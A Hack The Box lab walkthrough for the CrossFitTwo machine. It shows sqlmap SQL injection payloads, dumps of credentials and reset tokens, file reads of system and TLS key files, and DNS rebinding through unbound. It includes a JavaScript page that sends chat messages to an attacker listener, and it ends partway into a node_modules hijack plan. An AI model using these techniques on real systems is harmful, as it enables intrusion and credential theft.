This post documents the complete walkthrough of CrossFitTwo, a retired vulnerable VM created by MinatoTW and polarbearer, and hosted at Hack The Box. If you are uncomfortable with spoilers, please stop reading now.

On this post


CrossFitTwo is a retired vulnerable VM from Hack The Box.

Information Gathering

Let’s start with a masscan probe to establish the open ports in the host.

masscan -e tun0 -p1-65535,U:1-65535 --rate=500
Starting masscan 1.3.2 ( at 2021-03-23 06:17:33 GMT
Initiating SYN Stealth Scan
Scanning 1 hosts [131070 ports/host]
Discovered open port 22/tcp on
Discovered open port 80/tcp on
Discovered open port 8953/tcp on

Open port tcp/8953 looks interesting. Let’s do one better with nmap scanning the discovered ports to establish their services.

nmap -n -v -Pn -p22,80,8953 -A --reason -oN nmap.txt
22/tcp   open  ssh                 syn-ack ttl 63 OpenSSH 8.4 (protocol 2.0)
| ssh-hostkey:
|   3072 35:0a:81:06:de:be:8c:d8:d7:27:66:db:96:94:fd:52 (RSA)
|   256 94:60:55:35:9a:1a:a8:45:a1:ae:19:cd:61:05:ec:3f (ECDSA)
|_  256 a2:c8:6b:6e:11:b6:70:69:db:d2:60:2e:2f:d1:2f:ab (ED25519)
80/tcp   open  http                syn-ack ttl 63 (PHP 7.4.12)
| fingerprint-strings:
|   GetRequest, HTTPOptions:
|     HTTP/1.0 200 OK
|     Connection: close
|     Connection: close
|     Content-type: text/html; charset=UTF-8
|     Date: Tue, 23 Mar 2021 06:26:23 GMT
|     Server: OpenBSD httpd
|     X-Powered-By: PHP/7.4.12
|     <!DOCTYPE html>
|     <html lang="zxx">
|     <head>
|     <meta charset="UTF-8">
|     <meta name="description" content="Yoga StudioCrossFit">
|     <meta name="keywords" content="Yoga, unica, creative, html">
|     <meta name="viewport" content="width=device-width, initial-scale=1.0">
|     <meta http-equiv="X-UA-Compatible" content="ie=edge">
|     <title>CrossFit</title>
|     <!-- Google Font -->
|     <link href=",700&display=swap" rel="stylesheet">
|     <link href=",500,600,700&display=swap" rel="stylesheet">
|     <!-- Css Styles -->
|     <link rel="stylesheet" href="css/bootstrap.min.css" type="text/css">
|_    <link rel="styleshe
| http-methods:
|_  Supported Methods: GET HEAD POST OPTIONS
|_http-server-header: OpenBSD httpd
|_http-title: CrossFit
8953/tcp open  ssl/ub-dns-control? syn-ack ttl 63
| ssl-cert: Subject: commonName=unbound
| Issuer: commonName=unbound
| Public Key type: rsa
| Public Key bits: 3072
| Signature Algorithm: sha256WithRSAEncryption
| Not valid before: 2021-01-11T07:01:10
| Not valid after:  2040-09-28T07:01:10
| MD5:   efdc 4f2c 5d7e 63c0 3995 4c27 c285 9985
|_SHA-1: 1c66 9cc5 8b72 5c95 d730 0862 4d86 84d7 8a09 1d9b

Unbound service at open port 8953/tcp??!! Perhaps it’s wise to keep this in mind first. Anyway, this is what the http service looks like.

There’s a link to employees.crossfit.htb under MEMBER AREA. I’d better include it in /etc/hosts. It’s a sign-in page.

Directory/File Enumeration

Now, let’s see what gobuster and SecLists have to offer.

gobuster dir -w /usr/share/seclists/Discovery/Web-Content/raft-large-directories-lowercase.txt -t 20 -x php -b '403,404' -u 2>/dev/null
Gobuster v3.1.0
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
[+] Url:           
[+] Method:                  GET
[+] Threads:                 20
[+] Wordlist:                /usr/share/seclists/Discovery/Web-Content/raft-large-directories-lowercase.txt
[+] Negative Status codes:   403,404
[+] User Agent:              gobuster/3.1.0
[+] Extensions:              php
[+] Timeout:                 10s
2021/03/23 08:56:53 Starting gobuster in directory enumeration mode
/images               (Status: 301) [Size: 510] [-->]
/js                   (Status: 301) [Size: 510] [-->]
/css                  (Status: 301) [Size: 510] [-->]
/img                  (Status: 301) [Size: 510] [-->]
/blog.php             (Status: 200) [Size: 15369]
/contact.php          (Status: 200) [Size: 8007]
/classes.php          (Status: 200) [Size: 25946]
/index.php            (Status: 200) [Size: 19041]
/fonts                (Status: 301) [Size: 510] [-->]
/about-us.php         (Status: 200) [Size: 15733]
/elements.php         (Status: 200) [Size: 19654]
/vendor               (Status: 301) [Size: 510] [-->]
/lgn                  (Status: 301) [Size: 510] [-->]
/index.php            (Status: 200) [Size: 19041]
2021/04/01 01:30:06 Finished


gobuster dir -w /usr/share/seclists/Discovery/Web-Content/raft-large-directories-lowercase.txt -t 20 -x php -b '403,404' -u http://employees.crossfit.htb/ 2>/dev/null
Gobuster v3.1.0
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
[+] Url:                     http://employees.crossfit.htb/
[+] Method:                  GET
[+] Threads:                 20
[+] Wordlist:                /usr/share/seclists/Discovery/Web-Content/raft-large-directories-lowercase.txt
[+] Negative Status codes:   403,404
[+] User Agent:              gobuster/3.1.0
[+] Extensions:              php
[+] Timeout:                 10s
2021/04/01 01:31:34 Starting gobuster in directory enumeration mode
/js                   (Status: 301) [Size: 510] [--> http://employees.crossfit.htb/js/]
/css                  (Status: 301) [Size: 510] [--> http://employees.crossfit.htb/css/]
/index.php            (Status: 200) [Size: 4412]
/vendor               (Status: 301) [Size: 510] [--> http://employees.crossfit.htb/vendor/]
/password-reset.php   (Status: 200) [Size: 4228]
/index.php            (Status: 200) [Size: 4412]
2021/04/01 01:34:34 Finished

Man, this shit is tough!

HTTP Traffic Inspection with Developer Tools

Let’s see what we got with a little HTTP traffic inspection with Developer Tools.

Hmm. There’s a WebSocket connection to gym.crossfit.htb. I’d better map that to in /etc/hosts. This behavior is likely initiated by ws.min.js.

function updateScroll() {
  var e = document.getElementById('chats');
  e.scrollTop = e.scrollHeight
var token,
ws = new WebSocket('ws://gym.crossfit.htb/ws/'),
pingTimeout = setTimeout(() =>{
}, 31000);
function check_availability(e) {
  var s = new Object;
  s.message = 'available',
  s.params = String(e),
  s.token = token,
$('.hide-chat-box').click(function () {
$('.show-chat-box').click(function () {
$('.close-chat-box').click(function () {
ws.onopen = function () {
ws.onmessage = function (e) {
  'ping' === ? (ws.send('pong'), clearTimeout(pingTimeout))  : (response = JSON.parse(, answer = response.message, answer.startsWith('Hello!') && $('#ws').show(), token = response.token, $('#chat-messages').append('<li class="receive-msg float-left mb-2"><div class="receive-msg-desc float-left ml-2"><p class="msg_display bg-white m-0 pt-1 pb-1 pl-2 pr-2 rounded">' + answer + '</p></div></li>'), updateScroll())
$('#sendmsg').on('keypress', function (e) {
  if (13 === e.which) {
    $(this).attr('disabled', 'disabled');
    var s = $('#sendmsg').val();
    if ('' !== s) {
      $('#chat-messages').append('<li class="send-msg float-right mb-2"><p class="msg_display pt-1 pb-1 pl-2 pr-2 m-0 rounded">' + s + '</p></li>');
      var t = new Object;
      t.message = s,
      t.token = token,

Let’s have a chat

The moment I enter, a chatbox appears.

Note that the chatbox will “disappear” in 31 seconds.

WebSocket History with Burp

All this time I had Burp recording the HTTP traffic while I was “chatting” with Arnold. Check out the exchange of WebSocket messages!

You can see that each WebSocket message to the server must carry a token taken from the previous WebSocket message from the server, very much like a CSRF token. :wink:

PHP WebSocket Client

From ws.min.js, we know that there’s a check_availability function. This is the function in action.

Armed with this insight, I wrote the following PHP WebSocket client to communicate with the server, further facilitating enumeration of the WebSocket. The client is driven by amphp/websocket-client.


require 'vendor/autoload.php';

use Amp\Websocket\Client;

Amp\Loop::run(function () {
    $connection = yield Client\connect('ws://gym.crossfit.htb/ws/');
    $message = yield $connection->receive();
    $payload = yield $message->buffer();
    $token   = json_decode($payload, true)["token"];
    $check   = json_encode(array('message' => 'available', 'params' => $_GET['id'], 'token' => $token));
    yield $connection->send($check);
    $message = yield $connection->receive();
    $payload = yield $message->buffer();
    header("Content-Type: application/json");


Spin up a local Apache server, place crossfit.php in /var/www/html and we are good to go.

curl -i http://localhost/crossfit.php?id=1
HTTP/1.1 200 OK
Date: Wed, 31 Mar 2021 08:41:55 GMT
Server: Apache/2.4.46 (Debian)
Content-Length: 182
Content-Type: application/json

{"status":"200","message":"Good news! This membership plan is available.","token":"7749a493879b71b44b87949ec5a796cbe849d5199850ece23755970dc7b2da7a","debug":"[id: 1, name: 1-month]"}

SQL Injection in WebSocket

Well, the availablity of a membership plan must be cross-checked with a database of some kind, right? If there’s a database, we should be able to use sqlmap to check for any possible SQL injection like so.

sqlmap -u http://localhost/crossfit.php?id=1 --batch --string='Good news!'
sqlmap identified the following injection point(s) with a total of 75 HTTP(s) requests:
Parameter: id (GET)
    Type: boolean-based blind
    Title: AND boolean-based blind - WHERE or HAVING clause
    Payload: id=1 AND 3080=3080

    Type: time-based blind
    Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP)
    Payload: id=1 AND (SELECT 2308 FROM (SELECT(SLEEP(5)))fyJS)

    Type: UNION query
    Title: Generic UNION query (NULL) - 2 columns
    Payload: id=-3180 UNION ALL SELECT CONCAT(0x7171767671,0x4363554e5464756e6b436f784e557874786d6e6a76555a635579494c6e4b6c4c6f58505662636956,0x716a6a6a71),NULL-- -
[01:45:27] [INFO] the back-end DBMS is MySQL

Sweet. Let’s enumerate the DBMS with --technique=B. Coupled with --threads=10, it should enumerate all the databases very quickly.


sqlmap -u http://localhost/crossfit.php?id=1 --batch --technique=B --threads=10 --dbs
available databases [3]:
[*] crossfit
[*] employees
[*] information_schema

Tables in employees

sqlmap -u http://localhost/crossfit.php?id=1 --batch --technique=B --threads=10 -D employees --tables
Database: employees
[2 tables]
| employees      |
| password_reset |

Table - employees

sqlmap -u http://localhost/crossfit.php?id=1 --batch --technique=B --threads=10 -D employees -T employees --dump
Database: employees
Table: employees
[4 entries]
| id | email                       | password                                                         | username      |
| 1  | [email protected]   | fff34363f4d15e958f0fb9a7c2e7cc550a5672321d54b5712cd6e4fa17cd2ac8 | administrator |
| 2  | [email protected]     | 06b4daca29092671e44ef8fad8ee38783b4294d9305853027d1b48029eac0683 | wsmith        |
| 3  | [email protected] | fe46198cb29909e5dd9f61af986ca8d6b4b875337261bdaa5204f29582462a9c | mwilliams     |
| 4  | [email protected]    | 4de9923aba6554d148dbcd3369ff7c6e71841286e5106a69e250f779770b3648 | jparker       |

Table - password_reset

sqlmap -u http://localhost/crossfit.php?id=1 --batch --technique=B --threads=10 -D employees -T password_reset --dump
Database: employees
Table: password_reset
[0 entries]
| email | token | expires |

Interesting, this table is empty!

Password Reset

Suppose we reset the password for [email protected] (username: administrator) by entering the Forgot Password page like so?

This is what we get.

And in the password_reset table.

sqlmap -u http://localhost/crossfit.php?id=1 --batch --technique=B --threads=10 -D employees -T password_reset --dump --fresh-queries
Database: employees
Table: password_reset
[1 entry]
| email                     | token                                                            | expires             |
| [email protected] | bc1391b2f95ce1f8cb0ba3c41bee1fcd590bbc394a840914ee3701d31c296433 | 2021-04-02 11:25:46 |

Without knowing how the token work, we have no chance of logging into the employee portal. Looks like we need to enumerate further.

Read Files

We can use the SQLi discovered previously to read files off the remote machine with the --file-read option in sqlmap.

sqlmap -u http://localhost/crossfit.php?id=1 --batch --technique=B --threads=10 --file-read="/path/to/file"

Let’s start off with the customary /etc/passwd.


root:*:0:0:Charlie &:/root:/bin/ksh
daemon:*:1:1:The devil himself:/root:/sbin/nologin
operator:*:2:5:System &:/operator:/sbin/nologin
bin:*:3:7:Binaries Commands and Source:/:/sbin/nologin
build:*:21:21:base and xenocara build:/var/empty:/bin/ksh
sshd:*:27:27:sshd privsep:/var/empty:/sbin/nologin
_x11:*:35:35:X Server:/var/empty:/sbin/nologin
_unwind:*:48:48:Unwind Daemon:/var/empty:/sbin/nologin
_switchd:*:49:49:Switch Daemon:/var/empty:/sbin/nologin
_traceroute:*:50:50:traceroute privdrop user:/var/empty:/sbin/nologin
_ping:*:51:51:ping privdrop user:/var/empty:/sbin/nologin
_unbound:*:53:53:Unbound Daemon:/var/unbound:/sbin/nologin
_dpb:*:54:54:dpb privsep:/var/empty:/sbin/nologin
_pbuild:*:55:55:dpb build user:/nonexistent:/sbin/nologin
_pfetch:*:56:56:dpb fetch user:/nonexistent:/sbin/nologin
_pkgfetch:*:57:57:pkg fetch user:/nonexistent:/sbin/nologin
_pkguntar:*:58:58:pkg untar user:/nonexistent:/sbin/nologin
_spamd:*:62:62:Spam Daemon:/var/empty:/sbin/nologin
www:*:67:67:HTTP Server:/var/www:/sbin/nologin
_isakmpd:*:68:68:isakmpd privsep:/var/empty:/sbin/nologin
_rpki-client:*:70:70:rpki-client user:/nonexistent:/sbin/nologin
_syslogd:*:73:73:Syslog Daemon:/var/empty:/sbin/nologin
_pflogd:*:74:74:pflogd privsep:/var/empty:/sbin/nologin
_bgpd:*:75:75:BGP Daemon:/var/empty:/sbin/nologin
_tcpdump:*:76:76:tcpdump privsep:/var/empty:/sbin/nologin
_dhcp:*:77:77:DHCP programs:/var/empty:/sbin/nologin
_mopd:*:78:78:MOP Daemon:/var/empty:/sbin/nologin
_tftpd:*:79:79:TFTP Daemon:/var/empty:/sbin/nologin
_rbootd:*:80:80:rbootd Daemon:/var/empty:/sbin/nologin
_ppp:*:82:82:PPP utilities:/var/empty:/sbin/nologin
_ntp:*:83:83:NTP Daemon:/var/empty:/sbin/nologin
_ftp:*:84:84:FTP Daemon:/var/empty:/sbin/nologin
_ospfd:*:85:85:OSPF Daemon:/var/empty:/sbin/nologin
_hostapd:*:86:86:HostAP Daemon:/var/empty:/sbin/nologin
_dvmrpd:*:87:87:DVMRP Daemon:/var/empty:/sbin/nologin
_ripd:*:88:88:RIP Daemon:/var/empty:/sbin/nologin
_relayd:*:89:89:Relay Daemon:/var/empty:/sbin/nologin
_ospf6d:*:90:90:OSPF6 Daemon:/var/empty:/sbin/nologin
_snmpd:*:91:91:SNMP Daemon:/var/empty:/sbin/nologin
_ypldap:*:93:93:YP to LDAP Daemon:/var/empty:/sbin/nologin
_rad:*:94:94:IPv6 Router Advertisement Daemon:/var/empty:/sbin/nologin
_smtpd:*:95:95:SMTP Daemon:/var/empty:/sbin/nologin
_nsd:*:97:97:NSD Daemon:/var/empty:/sbin/nologin
_ldpd:*:98:98:LDP Daemon:/var/empty:/sbin/nologin
_sndio:*:99:99:sndio privsep:/var/empty:/sbin/nologin
_ldapd:*:100:100:LDAP Daemon:/var/empty:/sbin/nologin
_iked:*:101:101:IKEv2 Daemon:/var/empty:/sbin/nologin
_iscsid:*:102:102:iSCSI Daemon:/var/empty:/sbin/nologin
_smtpq:*:103:103:SMTP Daemon:/var/empty:/sbin/nologin
_file:*:104:104:file privsep:/var/empty:/sbin/nologin
_radiusd:*:105:105:RADIUS Daemon:/var/empty:/sbin/nologin
_eigrpd:*:106:106:EIGRP Daemon:/var/empty:/sbin/nologin
_vmd:*:107:107:VM Daemon:/var/empty:/sbin/nologin
_tftp_proxy:*:108:108:tftp proxy daemon:/nonexistent:/sbin/nologin
_ftp_proxy:*:109:109:ftp proxy daemon:/nonexistent:/sbin/nologin
_sndiop:*:110:110:sndio privileged user:/var/empty:/sbin/nologin
_syspatch:*:112:112:syspatch unprivileged user:/var/empty:/sbin/nologin
_slaacd:*:115:115:SLAAC Daemon:/var/empty:/sbin/nologin
nobody:*:32767:32767:Unprivileged user:/nonexistent:/sbin/nologin
_mysql:*:502:502:MySQL Account:/nonexistent:/sbin/nologin
_dbus:*:572:572:dbus user:/nonexistent:/sbin/nologin
_redis:*:686:686:redis account:/var/redis:/sbin/nologin

We can see that we have the following users with a home directory.


Believe me I’ve tried but I don’t have the permissions to read user.txt from any of the above home directories. :cry:

The following sections are the configuration files that I’ve read. They can be found in the OpenBSD manual page server in greater details.


# $OpenBSD: login.conf,v 1.16 2020/06/23 15:45:34 naddy Exp $

# Sample login.conf file.  See login.conf(5) for details.

# Standard authentication styles:
# passwd	Use only the local password file
# chpass	Do not authenticate, but change user's password (change
#		the YP password if the user has one, else change the
#		local password)
# lchpass	Do not login; change user's local password instead
# radius	Use radius authentication
# reject	Use rejected authentication
# skey		Use S/Key authentication
# activ		ActivCard X9.9 token authentication
# crypto	CRYPTOCard X9.9 token authentication
# snk		Digital Pathways SecureNet Key authentication
# tis		TIS Firewall Toolkit authentication
# token		Generic X9.9 token authentication
# yubikey	YubiKey authentication

# Default allowed authentication styles

# Default allowed authentication styles for authentication type ftp

# The default values
# To alter the default authentication types change the line:
#	:tc=auth-defaults:\
# to read something like: (enables passwd, "myauth", and activ)
#	:auth=passwd,myauth,activ:\
# Any value changed in the daemon class should be reset in default
# class.
	:path=/usr/bin /bin /usr/sbin /sbin /usr/X11R6/bin /usr/local/bin /usr/local/sbin:\

# Settings used by /etc/rc and root
# This must be set properly for daemons started as root by inetd as well.
# Be sure to reset these values to system defaults in the default class!

# Staff have fewer restrictions and can login even when nologins are set.
	:[email protected]:\

# Authpf accounts get a special motd and shell

# Building ports with DPB uses raised limits

# Override resource limits for certain daemons started by rc.d(8)


It appears that YubiKey has something to do with SSH authentication. Gotta keep that in mind.


#	$OpenBSD: sshd_config,v 1.103 2018/04/09 20:41:22 tj Exp $

# This is the sshd server system-wide configuration file.  See
# sshd_config(5) for more information.

# The strategy used for options in the default sshd_config shipped with
# OpenSSH is to specify options with their default value where
# possible, but leave them commented.  Uncommented options override the
# default value.

#Port 22
#AddressFamily any
#ListenAddress ::

#HostKey /etc/ssh/ssh_host_rsa_key
#HostKey /etc/ssh/ssh_host_ecdsa_key
#HostKey /etc/ssh/ssh_host_ed25519_key

# Ciphers and keying
#RekeyLimit default none

# Logging
#SyslogFacility AUTH
#LogLevel INFO

# Authentication:

#LoginGraceTime 2m
PermitRootLogin yes
#StrictModes yes
#MaxAuthTries 6
#MaxSessions 10

#PubkeyAuthentication yes

# The default is to check both .ssh/authorized_keys and .ssh/authorized_keys2
# but this is overridden so installations will only check .ssh/authorized_keys
AuthorizedKeysFile	.ssh/authorized_keys

#AuthorizedPrincipalsFile none

#AuthorizedKeysCommand none
#AuthorizedKeysCommandUser nobody

# For this to work you will also need host keys in /etc/ssh/ssh_known_hosts
#HostbasedAuthentication no
# Change to yes if you don't trust ~/.ssh/known_hosts for
# HostbasedAuthentication
#IgnoreUserKnownHosts no
# Don't read the user's ~/.rhosts and ~/.shosts files
#IgnoreRhosts yes

# To disable tunneled clear text passwords, change to no here!
#PasswordAuthentication yes
#PermitEmptyPasswords no

# Change to no to disable s/key passwords
#ChallengeResponseAuthentication yes

#AllowAgentForwarding yes
#AllowTcpForwarding yes
#GatewayPorts no
#X11Forwarding no
#X11DisplayOffset 10
#X11UseLocalhost yes
#PermitTTY yes
#PrintMotd yes
#PrintLastLog yes
#TCPKeepAlive yes
#PermitUserEnvironment no
#Compression delayed
#ClientAliveInterval 0
#ClientAliveCountMax 3
#UseDNS no
#PidFile /var/run/
#MaxStartups 10:30:100
#PermitTunnel no
#ChrootDirectory none
#VersionAddendum none

# no default banner path
#Banner none

# override default of no subsystems
Subsystem	sftp	/usr/libexec/sftp-server

# Example of overriding settings on a per-user basis
#Match User anoncvs
#	X11Forwarding no
#	AllowTcpForwarding no
#	PermitTTY no
#	ForceCommand cvs server

Match User root
	AuthenticationMethods publickey,password
Match User *,!root
	AuthenticationMethods password

Interesting. Check out the AuthenticationMethods for root. We need a public key authentication followed by a password. Perhaps this has something to do with the one-time password (OTP) generated from YubiKey?


Specifies the authentication methods that must be successfully completed for a user to be granted access. This option must be followed by one or more lists of comma-separated authentication method names, or by the single string any to indicate the default behaviour of accepting any single authentication method. If the default is overridden, then successful authentication requires completion of every method in at least one of these lists.


# $OpenBSD: httpd.conf,v 1.20 2018/06/13 15:08:24 reyk Exp $

types {
    include "/usr/share/misc/mime.types"

server "" {
        no log
        listen on lo0 port 8000

        root "/htdocs"
        directory index index.php

        location "*.php*" {
                fastcgi socket "/run/php-fpm.sock"

server "employees" {
        no log
        listen on lo0 port 8001

        root "/htdocs_employees"
        directory index index.php

        location "*.php*" {
                fastcgi socket "/run/php-fpm.sock"

server "chat" {
        no log
        listen on lo0 port 8002

        root "/htdocs_chat"
        directory index index.html

        location match "^/home$" {
            request rewrite "/index.html"
        location match "^/login$" {
            request rewrite "/index.html"
        location match "^/chat$" {
            request rewrite "/index.html"
        location match "^/favicon.ico$" {
            request rewrite "/images/cross.png"

Looks like we have other virtual host besides employee.crossfit.htb but what is it?


http protocol web{
        pass request quick header "Host" value "*crossfit-club.htb" forward to <3>
        pass request quick header "Host" value "*employees.crossfit.htb" forward to <2>
        match request path "/*" forward to <1>
        match request path "/ws*" forward to <4>
        http websockets

http protocol portal{
        pass request quick path "/" forward to <5>
        pass request quick path "/index.html" forward to <5>
        pass request quick path "/home" forward to <5>
        pass request quick path "/login" forward to <5>
        pass request quick path "/chat" forward to <5>
        pass request quick path "/js/*" forward to <5>
        pass request quick path "/css/*" forward to <5>
        pass request quick path "/fonts/*" forward to <5>
        pass request quick path "/images/*" forward to <5>
        pass request quick path "/favicon.ico" forward to <5>
        pass forward to <6>
        http websockets

relay web{
        listen on "" port 80
        protocol web
        forward to <1> port 8000
        forward to <2> port 8001
        forward to <3> port 9999
        forward to <4> port 4419

relay portal{
        listen on port 9999
        protocol portal
        forward to <5> port 8002
        forward to <6> port 5000 mode source-hash

There you have it—crossfit-club.htb. I’d better include it into /etc/hosts as well. However, notice something interesting? relayd will pass on the Host request header to if the value matches a wildcard version of crossfit-club.htb and employees.crossfit.htb.

CrossFit Club

We have another login portal at http://crossfit-club.htb/login.

API Endpoint Enumeration

While I was capturing the HTTP traffic in Burp, I noticed that there were plenty of requests to /api. Let’s see if we can enumerate the endpoints with gobuster and SecLists.

With GET method

gobuster dir -w /usr/share/seclists/Discovery/Web-Content/api/objects.txt -e -t 20 -x json -u
Gobuster v3.1.0
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
[+] Url:                     http://crossfit-club.htb/api/
[+] Method:                  GET
[+] Threads:                 20
[+] Wordlist:                /usr/share/seclists/Discovery/Web-Content/api/objects.txt
[+] Negative Status codes:   404
[+] User Agent:              gobuster/3.1.0
[+] Extensions:              json
[+] Expanded:                true
[+] Timeout:                 10s
2021/04/16 04:35:21 Starting gobuster in directory enumeration mode
http://crossfit-club.htb/api/auth                 (Status: 200) [Size: 66]
http://crossfit-club.htb/api/ping                 (Status: 200) [Size: 71]

2021/04/16 04:35:25 Finished

With POST method

gobuster dir -w /usr/share/seclists/Discovery/Web-Content/api/objects.txt -e -t 20 -x json -m POST -u http://crossfit
Gobuster v3.1.0
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
[+] Url:                     http://crossfit-club.htb/api/
[+] Method:                  POST
[+] Threads:                 20
[+] Wordlist:                /usr/share/seclists/Discovery/Web-Content/api/objects.txt
[+] Negative Status codes:   404
[+] User Agent:              gobuster/3.1.0
[+] Extensions:              json
[+] Expanded:                true
[+] Timeout:                 10s
2021/04/16 04:36:10 Starting gobuster in directory enumeration mode
http://crossfit-club.htb/api/Login                (Status: 200) [Size: 50]
http://crossfit-club.htb/api/login                (Status: 200) [Size: 50]
http://crossfit-club.htb/api/signup               (Status: 200) [Size: 50]

2021/04/16 04:36:20 Finished

Interesting, I thought Sign Up is disabled? :laughing:

I may be wrong but crossfit-club.htb looks like it’s developed with Vue.js, a front-end JavaScript framework. Ok, what now?

Sign Up

I wrote the following script to test the signup endpoint.

EMAIL="[email protected]"
COOKIE="$(mktemp -u)"

# Get CSRF token
TOKEN=$(curl -s \
             -c "${COOKIE}" \
             -x "${PROXY}" \
             "http://${RHOST}:${RPORT}/api/auth" \
        | jq .token \
        | tr -d '"')

# Sign up
cat - <<EOF > signup.json
    "username": "${USER}",
    "password": "${PASS}",
    "email"   : "${EMAIL}",
    "confirm" : "${EMAIL}"

curl -s \
     -b "${COOKIE}" \
     -H "Content-Type: application/json" \
     -H "X-CSRF-TOKEN: ${TOKEN}" \
     -d "$(cat signup.json | jq -c)" \
     -x "${PROXY}" \
     "http://${RHOST}:${RPORT}/api/signup" | jq .

# Clean up
rm -rf "${COOKIE}"

And this is what I get.

It appears that I need to pull off some kind of CSRF trick on [email protected] in order to register an account to the portal. But how?

Unbound Remote Server Control

Recall the open port 8953/tcp? That’s the control-port for controlling unbound remotely using unbound-control. What’s the purpose of opening this port? The creator(s) wants to direct our attention to controlling the unbound server?

In order for unbound-control to communicate to the remote unbound server via SSL, we need the three files: server certificate, client key and client certificate.

Let’s use --file-read from sqlmap to read unbound.conf so that we know where these files are located. According to OpenBSD manual pages, unbound.conf(5) is in /var/unbound/etc.

        interface: ::1
        access-control: refuse
        access-control: allow
        access-control: ::0/0 refuse
        access-control: ::1 allow
        hide-identity: yes
        hide-version: yes
        msg-cache-size: 0
        rrset-cache-size: 0
        cache-max-ttl: 0
        cache-max-negative-ttl: 0
        auto-trust-anchor-file: "/var/unbound/db/root.key"
        val-log-level: 2
        aggressive-nsec: yes
        include: "/var/unbound/etc/conf.d/local_zones.conf"

        control-enable: yes
        control-use-cert: yes
        server-key-file: "/var/unbound/etc/tls/unbound_server.key"
        server-cert-file: "/var/unbound/etc/tls/unbound_server.pem"
        control-key-file: "/var/unbound/etc/tls/unbound_control.key"
        control-cert-file: "/var/unbound/etc/tls/unbound_control.pem"

As you can see, I won’t be able to tell the location of the files I need without first reading unbound.conf.

This is the unbound-control configuration file I need in order to communicate with the unbound server. But first, we need to read those three files with --file-read from sqlmap.

    server-cert-file: "/root/Downloads/machines/crossfit2/unbound-server.pem"
    control-key-file: "/root/Downloads/machines/crossfit2/unbound-control.key"
    control-cert-file: "/root/Downloads/machines/crossfit2/unbound-control.pem"

Armed with server-cert-file, control-key-file and control-cert-file, I’m able to communicate with the unbound server like so.

Employee Password Reset and DNS Rebind

Suppose we can make use of the relayd misconfiguration with the Host request headers and pull off a DNS rebind attack using a combination of forwarding a zone in unbound-control to a DNS server I control and serving some fake IP addresses, i.e. dnschef, maybe and just maybe we can hijack the password reset link?

Unbound forward_add

Fake DNS with dnschef

Modified Host Header

The moment I hit Send in Burp Suite Repeater, a fake IP address of xemployees.crossfit.htb was sent from my dnschef like so.

What is this shit?

It appears that I need to send the fake IP address of xemployees.crossfit.htb first to bypass the above message, and then my own IP address to hijack the password reset link with a netcat listening at 80/tcp.

There you have it!

A different kind of CSRF

You may ask—what’s the point of the little exercise above. Well, now we know that David will “send” a GET request to reset the password. In combination with the DNS rebind, we now have full control over the HTTP response we send back to David, which means that we can redirect David to any domain we so desire. What’s next?

Reversing Vue.js the hard way

The site http://crossfit-club.htb is indeed developed with Vue.js. However, we can’t use Vue.js Devtools because of this.

Well, I guess we just have to do it the hard way…

Chrome DevTools

Enter Chromium. Well, under the hood it’s all JavaScript right? Chromium’s V8 engine should be able to handle the load with ease. The main functionality of the site is contained in app~<long string>.js

Here we have a reference to a connection to http://crossfit-club.htb, along with some actions like user_join, new_user, recv_global, private_recv, etc.

we = [],
_e = a("91b2"),
ye = a.n(_e),
ke = (a("4768"),a("8055")),
Ce = a.n(ke),
xe = (a("24f8"),null),
Ie = {
  components: {
      ChatWindow: ye.a
created() {
      let e = this;
      xe = Ce.a.connect("http://crossfit-club.htb", {
          transports: ["polling"]
      window.addEventListener("beforeunload", (function(t) {
          xe.emit("remove_user", {
              uid: e.currentUserId
      xe.on("disconnect", e=>{
      xe.emit("user_join", {
          username: localStorage.getItem("user")
      xe.on("participants", e=>{
          e && e.length && (this.rooms[0].users = e,
      xe.on("new_user", e=>{
          e.username === localStorage.getItem("user") && (this.currentUserId = e._id,
      xe.on("recv_global", e=>{
      xe.on("private_recv", e=>{

We can see that the object Ce, is the evaluation of a.n(ke) and ke is the evaluation of (a("4768"),a("8055")). If we set a breakpoint where there are many a operations, and refresh the browser, we’ll see something like this.

Switch over to the Console tab, and examine the objects like so.

Damn you, Socket.IO!

What is a("8055")?

Looks like it has something to do with Socket.IO, specifically!

Back to CSRF

If I had to guess, I would say that we need to redirect David via password-reset.php to a page I control containing JS and exfiltrating any responses through XMLHttpRequest to a netcat listening at, say 8000/tcp.

First, set up Apache web server hosting the following files.

<?php header("Location:"); ?>

And this.

    <script src="http://crossfit-club.htb/"></script>
        var socket = io("http://crossfit-club.htb");
        socket.emit("user_join", { username : "administrator" });
        socket.on("private_recv", (data) => {
            var xhr = new XMLHttpRequest();
  "GET", "" + JSON.stringify(data), true);

Next, once we bypass the local host password reset restriction, set up dnschef to serve up my IP address for an additional domain. It can be anything but for my case it’s :wink:

And finally, configure the remote unbound server to forward zones xemployees.crossfit.htb and to my dnschef.

The response received is decoded to the following.

{"sender_id":2,"content":"Hello David, I've added a user account for you with the password `NWBFcSe3ws4VDhTB`.","roomId":2,"_id":245}


Could NWBFcSe3ws4VDhTB be David’s password?

Gotcha. The file user.txt is at david’s home directory.

Privilege Escalation

During enumeration of david’s account, I notice that david is in the sysadmins group.

Another member of that group is john, who is also in the group staff, as is root.

From david to john

Let’s find which directory is accessible to sysadmins.

Notice that sysadmins are able to write to this directory.

Hmm, what’s in /opt/sysadmins/system/statbot?

const WebSocket = require('ws');
const fs = require('fs');
const logger = require('log-to-file');
const ws = new WebSocket("ws://gym.crossfit.htb/ws/");
function log(status, connect) {
  var message;
  if(status) {
    message = `Bot is alive`;
  else {
    if(connect) {
      message = `Bot is down (failed to connect)`;
    else {
      message = `Bot is down (failed to receive)`;
  logger(message, '/tmp/chatbot.log');
ws.on('error', function err() {
  log(false, true);
ws.on('message', function message(data) {
  data = JSON.parse(data);
  try {
    if(data.status === "200") {
      log(true, false);
  catch(err) {
      log(false, false);

Look who has been writing to /tmp/chatbot.log??!!

Hijacking node_modules search path

If I had to guess, I would say this has something to do with hijacking the log-to-file module.

Check this out.

According to this Node.js documentation about loading from node_modules folders,

Remember sysadmins have write access to /opt/sysadmins? We can simply drop our own malicious log-to-file module at /opt/sysadmins/node_modules and when john comes calling require('log-to-file'), our malicious module gets executed. Sounds like a plan!

To that end, I wrote the following shell script to test out my hypothesis.

mkdir -p /opt/sysadmin/node_modules
cp -r /usr/local/lib/node_modules/log-to-file /opt/sysadmin/node_modules/
